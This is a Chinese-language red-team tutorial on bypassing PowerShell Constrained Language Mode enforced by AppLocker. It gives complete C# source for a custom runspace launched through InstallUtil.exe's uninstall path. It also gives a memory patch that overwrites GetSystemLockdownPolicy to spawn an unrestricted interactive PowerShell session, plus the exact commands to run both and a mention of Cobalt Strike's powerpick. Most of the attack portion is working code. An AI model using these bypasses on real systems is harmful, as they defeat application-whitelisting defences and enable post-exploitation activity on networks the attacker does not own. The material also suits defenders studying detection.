# 约束语言模式

### **背景**

**约束语言模式**，即 CLM，是 AppLocker 中的一种，如果我们对脚本类型文件启用了 AppLocker 规则，那么在运行 PowerShell 的时候便是约束语言模式。当 CLM 被启用的话，一些脚本语言例如 Powershell 的使用会被限制，只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 **.NET 框架**的调用、执行 **C#** 代码以及**反射**。我们可以通过如下 Powershell 命令检查 PowerShell 语言的状态：

```powershell
$ExecutionContext.SessionState.LanguageMode 
```

在 File01 上，非提升特权的 PowerShell 会话下，CLM 是启用的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/9CjxpE34cyGgkHuT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/9CjxpE34cyGgkHuT-image.png)

CLM 大幅度限制了 PowerShell 命令的使用，如果我们想导入或者执行我们常用的脚本工具，例如 adpeas.ps1，那么我们会看到如下的报错。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/W1YNHodD6qnPe97r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/W1YNHodD6qnPe97r-image.png)

对于 CLM 的绕过，我们依旧可以借助于**默认规则**或者**脆弱配置的自定义规则**下的白名单文件夹，从而执行白名单文件夹中的脚本，但是我们依旧不能导入模块。如图所示，我们可以在白名单文件夹 C:\\Windows\\Tasks 下运行端口扫描的脚本工具

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/uyNq80hTeEfp3AaN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/uyNq80hTeEfp3AaN-image.png)

但导入脚本模块是不可以的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/hJ9sIgw4GAl3xzOg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/hJ9sIgw4GAl3xzOg-image.png)

接下来，我们来探讨 PowerShell CLM 的绕过。

### **自定义运行空间**

PowerShell 的功能实际上位于 **System.Management.Automation.dll** 这个托管 DLL 文件之中，而 powershell.exe 只是个用于处理输入输出的 GUI 程序。因此，我们可以通过编程手段实现自定义的 powershell 运行空间。

创建一个 C# 项目，添加 **C:\\Windows\\assembly\\GAC\_MSIL\\System.Management.Automation\\1.0.0.0\_\_31bf3856ad364e3 5\\System.Management.Automation.dll** 引用，以及 **System.Configuration.Install** 。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/oZCTXRu8dFWDH6RZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/oZCTXRu8dFWDH6RZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yitdBPvaT1zQ4ocJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yitdBPvaT1zQ4ocJ-image.png)

创建自定义 PowerShell 运行空间并执行命令的代码如下

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace clm
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode  | Out-File -FilePath C:\\windows\\tasks\\output.txt";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

这里我们要重载了 **Uninstall** 方法，为什么不是在 Main 函数里执行代码，或者重载 Install 方法呢？至于不在 Main 函数里执行，虽然这样我们突破了 CLM，但生成的 exe 本身可能也会被 AppLocker 所阻止运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/gN7p4bHBIeeIaa2Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/gN7p4bHBIeeIaa2Z-image.png)

而 Install 需要管理员特权。为了能让 Uninstall 方法里的代码得以运行，我们需要利用 LOLBAS 中的 **InstallUtil.exe** 去运行该 exe。最终命令如下：

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\public\clm.exe 
```

我们不能够给该代码提供参数，所以我们在包含命令的字符串里预定义好要执行的 powershell 脚本块。因为该过程不产生输出，我们借助文本来存储输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BlIKdFTI8SHxgkSR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BlIKdFTI8SHxgkSR-image.png)

### **补丁 GetSystemLockdownPolicy**

虽然可以通过自定义运行空间以 FullLanguage 模式执行脚本块，但并不能提供交互式的会话。通过补丁 GetSystemLockdownPolicy 可以生成交互式的 FullLanguage 模式的 PowerShell 会话。

该过程如下：

1：通过反射式加载，获得定义了 **System.Management.Automation.Alignment** 类型的组件，其中 System.Management.Automation 是 PowerShell 的根命名空间，而 **Alignment** 是定义在该命名空间的类型。

然后获得 GetSystemLockdownPolicy 方法的 MethodInfo 对象。该方法用于获取当前系统的 lockdown 策略。接着，获得该方法的句柄。

```c#
Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
```

2：在执行前，确保静态方法 GetSystemLockdownPolicy 被 JIT 引擎所编译。

```c#
RuntimeHelpers.PrepareMethod(lockdown_handle);
```

3：获得该函数编译后的机器码的指针

```c#
IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
```

4：使用 VirtualProtect API 确保该函数的代码是可写的

```c#
uint oldprot;
VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
```

5：补丁函数使其返回值为 0，即 **SystemEnforcementMode.None**。字节数组里是指令 **xor rax, rax; ret** 的操作码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tIPrHFNE9HT0lncs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tIPrHFNE9HT0lncs-image.png)

```c#
var patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(patch, 0, lockdown_ptr, 4);
```

6：使用 Microsoft,PowerShell.ConsoleShell 模块在当前进程中加载交互式的 PowerShell 会话

```c#
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
```

额外添加对文件 **C:\\Windows\\Microsoft.NET\\assembly\\GAC\_MSIL\\Microsoft.PowerShell.ConsoleHost\\v4.0\_3.0.0.0\_\_31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll** 的引用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OU2ziZSBwPKJjveF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OU2ziZSBwPKJjveF-image.png)

最终代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
using System.Reflection;

public class MainClass
{
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        public static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }

        public static void interactive()
        {

            Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
            MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
            RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
            RuntimeHelpers.PrepareMethod(lockdown_handle);
            IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
            uint oldprot;
            VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
            byte [] patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
            Marshal.Copy(patch, 0, lockdown_ptr, 4);
            Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
        }
}


[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            base.Uninstall(savedState);

            MainClass.interactive();
        }
}


```

这样，我们最终获得了 FullLanguage 模式的交互式 PowerShell 会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/74q1pJk5DA1DFgDK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/74q1pJk5DA1DFgDK-image.png)

### **在 CobaltStrike 中绕过 CLM**

在 CobaltStrike 中绕过 CLM 十分直接，powerpick 命令是通过非托管 PowerShell 实现的，即不使用 powershell.exe 或者 powershell\_ise.exe，不受限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ixiTIVyGEM8kQEgg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ixiTIVyGEM8kQEgg-image.png)